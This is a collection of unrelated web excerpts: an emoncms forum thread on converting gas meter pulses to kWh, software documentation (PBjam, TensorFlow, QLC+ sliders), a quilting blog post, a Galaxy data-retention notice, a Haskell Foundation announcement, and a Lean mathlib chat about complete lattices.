"pulses" can be anything though, so just perform an initial calibration of x0.111354133 (or whatever) before the first step (log to feed) and all three will be recording kWh and not 0.01m3
Re: Converting a 0.01m3 input to kWh... any ideas?
I think its worth logging m^3 first because the calorific value of the gas may change. My bills frequently show different gas calorific value, so to keep track of emoncms measurement accuracy vs the meter I log m^3 first then convert to KWh.
And as Robert has said there is no point calculating rate of change if you want energy. The pulse is already a measure of energy; you just need to convert from m^3 to kWh.
However if you want to know the average power (i.e. kW) between pulses then you could log the rate of change to a feed, but using it to calculate energy is just increasing inaccuracy.
John
Re: Converting a 0.01m3 input to kWh... any ideas?
Well - after a lot of playing, I've settled on t the attached. It gives the total count so far and the interval gas consumption in Watts. It seems to do what I want, and gives flexibility for changing the calculation to match my bill as suggested by John.
I'll confess I'm not sure how this feed processing really works. The logic does seem odd to me. I assume that when you log to feed the current calculated value is saved to a feed argument. But that's not really what I experienced.
My theory was:
Register total counts so far (Log to feed-> Total Gas)
How many 0.01m3 since last read? (Total pulse count to pulse increment -> Gas Used)
Convert 0.01m3 gas to watts (calibrate X conversion factor 111.354133)
Register Watts consumed in last interval (log to feed -> Gas Watts)
Update total Gas Watts today (Power to kWh/d-> Gas kWhd)
but putting that first log to feed seems to produce some weird values. So I'm obviously not understanding the process properly. Is there a comprehensive tutorial on this key function?
Thanks again for your interest and help.
Re: Converting a 0.01m3 input to kWh... any ideas?
Mike,
I'm not sure I can help you with a comprehensive tutorial, I use emoncms mainly to log my energy use, temperatures etc, then I use an Excel model to analyse it all. So in the case of gas I just log the m^3 used.
Looking at your solution I can see you are possibly getting confused with power and energy. Power would normally be measured in the units of Watts (W) or kilowatts (kW) and energy in Wh or kWh.
The pulse from the meter is a measure of gas used in 0.01m^3. By multiplying the pulse by the conversion factor 111.354133 your feed will be a measure of energy in Watt-hour (Wh), not power or Gas Watts as you have called it. You might think this is pedantic, but it is important.
So if you are looking to log energy in Watt-hours (Wh), (although kWh would normally be shown on your bill), then your last processes should be something like this.
Energy Used today (kWh to kWh/d-> Daily Energy Wh/d)
Note the process type is not Power to kWh/d anymore, but kWh to kWh/d. Clearly your feed will be in Wh/d if you use 111.354133 as the conversion factor.
Hopefully this will be the solution you are looking for.
Re: Converting a 0.01m3 input to kWh... any ideas?
Thank you John - that is very helpful.
Just to clarify what I'm trying to do. I'm trying to measure both really. m3 to validate my remore reading with the physical meter, and kWh to monitor actual cost. So that's why I'm trying to register the number of clicks (1/100 m3) and then calculate the kWh equivalent.
Cheers
Mike


PBjam¶
Peakbagging made easy
PBjam is toolbox for modeling the oscillation spectra of solar-like stars. This involves two main parts: identifying a set of modes of interest, and accurately modeling those modes to measure their frequencies.
Currently, the mode identification is based on fitting the asymptotic relation to the l=2,0 pairs, relying on the cumulative sum of prior knowledge gained from NASA’s Kepler mission to inform the fitting process.
Modeling the modes, or ‘peakbagging’, is done using the HMC sampler from pymc3, which fits a Lorentzian to each of the identified modes, with much fewer priors in place. This allows for a more accurate model of the spectrum of frequencies, than the heavily parameterized models like the asymptotic relation.
Read the docs at pbjam.readthedocs.io.
Contributing¶
PBjam is open source and we welcome contributions, large or small.
If you spot any bugs, have ideas for optimizing the code, want new nifty features, feel free to submit issues on the GitHub repo.
If you wish to contribute to PBjam, create a fork, make the changes and create a pull requests. The update will be reviewed by the main authors before merging.
Acknowledgments¶
PBjam relies heavily on many open source software packages to operate.


Statistical Modeling & Causal Inference 2020-II Tutorial
Repository for the Statistical Modeling & Causal Inference 2020-II Tutorial
Overview
Term: Fall 2020
Instructors: Adelaida Barrera and Sebastian Ramirez Ruiz
Location: Hertie School, Berlin
Website
This website will be used during the tutorial sessions for the Statistical Modeling & Causal Inference course. In here you will find the lab slides, code tutorials, and materials for further reference.


--- layout: post title: Check out this giveaway date: 2011-04-13 02:11:37.000000000 -04:00 categories: - Giveaways tags: - Giveaways - Green Fairy Quilts - Leisl Gibson - Modern Workshop Fat Quarter Bundle - PS I Quilt status: publish type: post published: true meta: aktt_notify_twitter: 'no' _edit_last: '1' dsq_thread_id: '1188559463' author: login: cint email<EMAIL_ADDRESS>display_name: Jacinta first_name: Jacinta last_name: '' ---
I love spreading the word on great giveaways. Check out this giveaway from PS I Quilt.  It's open till Friday.
(Permission was granted from Rachel at PS I Quilt, to reproduce the photo here)
Jacinta x


| User data on UseGalaxy.eu (i.e. datasets, histories) will be available as long
as they are not deleted by the user. Once marked as deleted the datasets will
be permanently removed within 14 days. If the user "purges" the dataset in the
Galaxy, it will be removed immediately, permanently.
An extended quota can be requested
for a limited time period in special cases.
|
Processed data will only be accessible during one browser session, using a
cookie to identify your data. This cookie is not used for any other purposes
(e.g. tracking or analytics).
If UseGalaxy.eu service is not accessed for 90 days, those datasets will be
permanently deleted.
|
Any user data uploaded to our FTP server should be imported into Galaxy as soon
as possible. Data left in FTP folders for more than 3 months, will be deleted.
|
The Galaxy service complies with the EU General Data Protection Regulation
(GDPR). You can read more about this on our
Terms and Conditions. |


Watch Simon Peyton Jones announce the Haskell Foundation at the Haskell eXchange conference on November 4, 2020.
In this keynote, Simon talks about the Haskell Foundation's launch and its goals. At the end, he is joined by a panel of HF volunteers to take questions from the audience.
Haskell embodies a radical and elegant attack on the entire enterprise of writing software. It profoundly influences the world of software for the better.
Ideas that guide our every decision
Haskell’s design puts principle ahead of expediency by cleaving closely to the principles of purely functional programming.
All Haskell Foundation efforts are open source.
HF augments, celebrates, and coordinates the contributions and leadership of Haskell’s vibrant community.
For many, Haskell is more a way of life than a programming language. All are welcome, all can contribute. To this end we have adopted the Haskell Guidelines For Respectful Communication.
All technical decisions related to HF’s open source projects are proposed and debated in public.
The Haskell Foundation category in the Haskell Discourse is where we make official announcements, and have discussions with the community.
Official communication channel for HF Board members, the archive is publicly available.


Defined in generated file: python/ops/gen_nn_ops.py
Computes the gradients of 3-D convolution with respect to the filter.
tf.compat.v1.nn.conv3d_backprop_filter_v2
tf.compat.v1.nn.conv3d_backprop_filter( input, filter_sizes, out_backprop, strides, padding, data_format='NDHWC', dilations=[1, 1, 1, 1, 1], name=None )
input
: A Tensor
. Must be one of the following types: half
, bfloat16
, float32
, float64
.
Shape [batch, depth, rows, cols, in_channels]
.filter_sizes
: A Tensor
of type int32
.
An integer vector representing the tensor shape of filter
,
where filter
is a 5-D
[filter_depth, filter_height, filter_width, in_channels, out_channels]
tensor.out_backprop
: A Tensor
. Must have the same type as input
.
Backprop signal of shape [batch, out_depth, out_rows, out_cols,
out_channels]
.strides
: A list of ints
that has length >= 5
.
1-D tensor of length 5. The stride of the sliding window for each
dimension of input
. Must have strides[0] = strides[4] = 1
.padding
: A string
from: "SAME", "VALID"
.
The type of padding algorithm to use.data_format
: An optional string
from: "NDHWC", "NCDHW"
. Defaults to "NDHWC"
.
The data format of the input and output data. With the
default format "NDHWC", the data is stored in the order of:
[batch, in_depth, in_height, in_width, in_channels].
Alternatively, the format could be "NCDHW", the data storage order is:
[batch, in_channels, in_depth, in_height, in_width].dilations
: An optional list of ints
. Defaults to [1, 1, 1, 1, 1]
.
1-D tensor of length 5. The dilation factor for each dimension of
input
. If set to k > 1, there will be k-1 skipped cells between each
filter element on that dimension. The dimension order is determined by the
value of data_format
, see above for details. Dilations in the batch and
depth dimensions must be 1.name
: A name for the operation (optional).A Tensor
. Has the same type as input
.


Sliders are used for two distinct purposes: Fixture channel level setting and Function playback and intensity adjustment. Any slider can operate on either of these modes and each mode has its own configuration options.
Sliders can be configured with the properties button found in the toolbar or by double clicking the slider itself.
The General tab holds all of the slider's properties that are shared between the slider's two modes.
| Slider name | Change the slider's name. |
| Widget appearance | A slider can be displayed as a vertical fader or as a knob . The appearance can be changed on the fly. |
| Value display style |
|
| Slider movement |
|
| External input |
You can attach an external input channel from an input device (like a slider
board) to sliders so that you don't always have to use the mouse or touch screen
to move sliders.
|
If the slider is not currently in Level mode, all you see is a button telling you to click it to switch the slider to Level mode. After you click it, the Level mode properties will be shown.
| Value Range |
|
| Fixture list | You can select individual channels from this list that contains all channels from all of your fixtures. Those channels that you have placed the tick mark beside will be controlled by this slider. |
| All | Clicking this button will select ALL channels from ALL fixtures. |
| None | Clicking this button will clear ALL channel selections from ALL fixtures. |
| Invert | Invert the current selection. If you have channels 1, 3 and 5 selected from all fixtures, clicking this button will de-select channels 1, 3 and 5 and instead select channels 2, 4 and 6 from those fixtures. |
| By group... | If you wish to control a specific channel group from ALL fixtures, you can click this button and select the channel group to control. Accepting the dialog will select ALL channels that belong to the selected channel group from ALL fixtures. This is particularly useful if you wish to have common control over, for example, all of your scanners' intensity channels. |
| Monitor the selected channels and update the slider level | (EXPERIMENTAL) By enabled this option, the slider will watch the DMX channels changes and if they assume all the same level, the slider will update accordingly for an immediate visual feedback |
| Click & Go |
Click & Go is a QLC+ technology which allows you to quickly access fixtures functionalities in
a completely visual way. When Click & Go is enabled, a button will appear at the bottom
of the slider and with just 2 clicks you will reach the desired result. The supported modes are:
|
If the slider is not currently in Playback mode, all you see is a button telling you to click it to switch to Playback mode. After you click it, the Playback mode properties will be shown.
When the slider is in playback mode, the slider acts like a combined button and slider. You can start a function AND simultaneously control the function's intensity with the slider. When the slider is at zero, the function is stopped but any value above zero will start the function (unless it has already been started) and simultaneously adjust the function's intensity (if applicable).
| Function | Displays the function that is currently attached to the slider. |
| Attach a function to the slider. | |
| Detach the currently attached function. |
If the slider is not currently in Submaster mode, all you see is a button telling you to click it to switch to Submaster mode. After you click it, the slider will be set to work as a submaster.
When a slider is set to Submaster mode, it will control the intensity of every other
widget in the same frame (please keep in mind that the main Virtual Console area
is a frame too !)
The intensity of a widget depends on the type of widget itself and which functionality
it controls. A submaster will control the intensity of any QLC+ "light emitting"
functionality, either a function or single channel levels.
For example a submaster can control the intensity of a function attached to a
button or the channel levels associated to a
slider in level mode.
Every widget is controlled by a submaster even if the widget's functionality
is not active yet. For example if a submaster is set to 50%, a button pressed
afterward will start its associated function with 50% of intensity.


procedure Delete; virtual;
By default, Delete calls SetSize(0, 0). In descendants this is accompanied with deletion of stored data and freeing of the occupied memory.


Title
Example
Title
Example
- These lines will unfold one by one.
Title
Example
- These lines will unfold one by one.
- You can use some markdown in these strings like this or this or this or this.
Title
Example
- These lines will unfold one by one.
- You can use some markdown in these strings like this or this or this or this.
- unicodešđčćž
Title
- This list will be shown in place of the previous title-list-diagram.
- This item will be shown immediately with the last one.
Another slide
- Some text describing stuff.
- More text.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/set.20is.20a.20complete.20lattice.html ---
mathlib proof:
instance lattice_set : complete_lattice (set α) := { lattice.complete_lattice . le := (⊆), le_refl := subset.refl, le_trans := assume a b c, subset.trans, le_antisymm := assume a b, subset.antisymm, lt := λ x y, x ⊆ y ∧ ¬ y ⊆ x, lt_iff_le_not_le := λ x y, iff.refl _, sup := (∪), le_sup_left := subset_union_left, le_sup_right := subset_union_right, sup_le := assume a b c, union_subset, inf := (∩), inf_le_left := inter_subset_left, inf_le_right := inter_subset_right, le_inf := assume a b c, subset_inter, top := {a | true }, le_top := assume s a h, trivial, bot := ∅, bot_le := assume s a, false.elim, Sup := λs, {a | ∃ t ∈ s, a ∈ t }, le_Sup := assume s t t_in a a_in, ⟨t, ⟨t_in, a_in⟩⟩, Sup_le := assume s t h a ⟨t', ⟨t'_in, a_in⟩⟩, h t' t'_in a_in, Inf := λs, {a | ∀ t ∈ s, a ∈ t }, le_Inf := assume s t h a a_in t' t'_in, h t' t'_in a_in, Inf_le := assume s t t_in a h, h _ t_in }
my proof:
instance lattice_set : complete_lattice (set α) := lattice.complete_lattice_fun
I win
I guess Sup
and Inf
are defined differently now?
really?
They should be equal. However I don't think they are definitionally equal. Sup s a = (∃ b ∈ set.image (λ f, f a) s, b) = (∃ b, (∃ c, s c ∧ s c a = b) → b)
which is different
well one could prove that they are equal
simp lemma
This still doesn't give you definitional reduction. If you want to prove a ∈ Sup s
, you'll now always need to simp
first. There are quite a few places where we accept some additional complexity in order to guarantee good definitional reduction, the lt
in preorder is another place. We can define lt
in terms of le
, but we want it to reduce differently for natural numbers.
I see
Yes, for nat, a<b
is _defined_ to be succ a <= b
and if you know this you can write some neat obfuscated code :-)
such as?
I believe I used this to do some golf question here a week or two ago. Either a question of Chris or of Nima.
It just means that you never have to use the lemma succ_le_of_lt
you can match
or use the equation compiler to do case analysis and inductionon <
, with the definition following the default setup this would be not possible.
Last updated: Apr 24 2020 at 19:02 UTC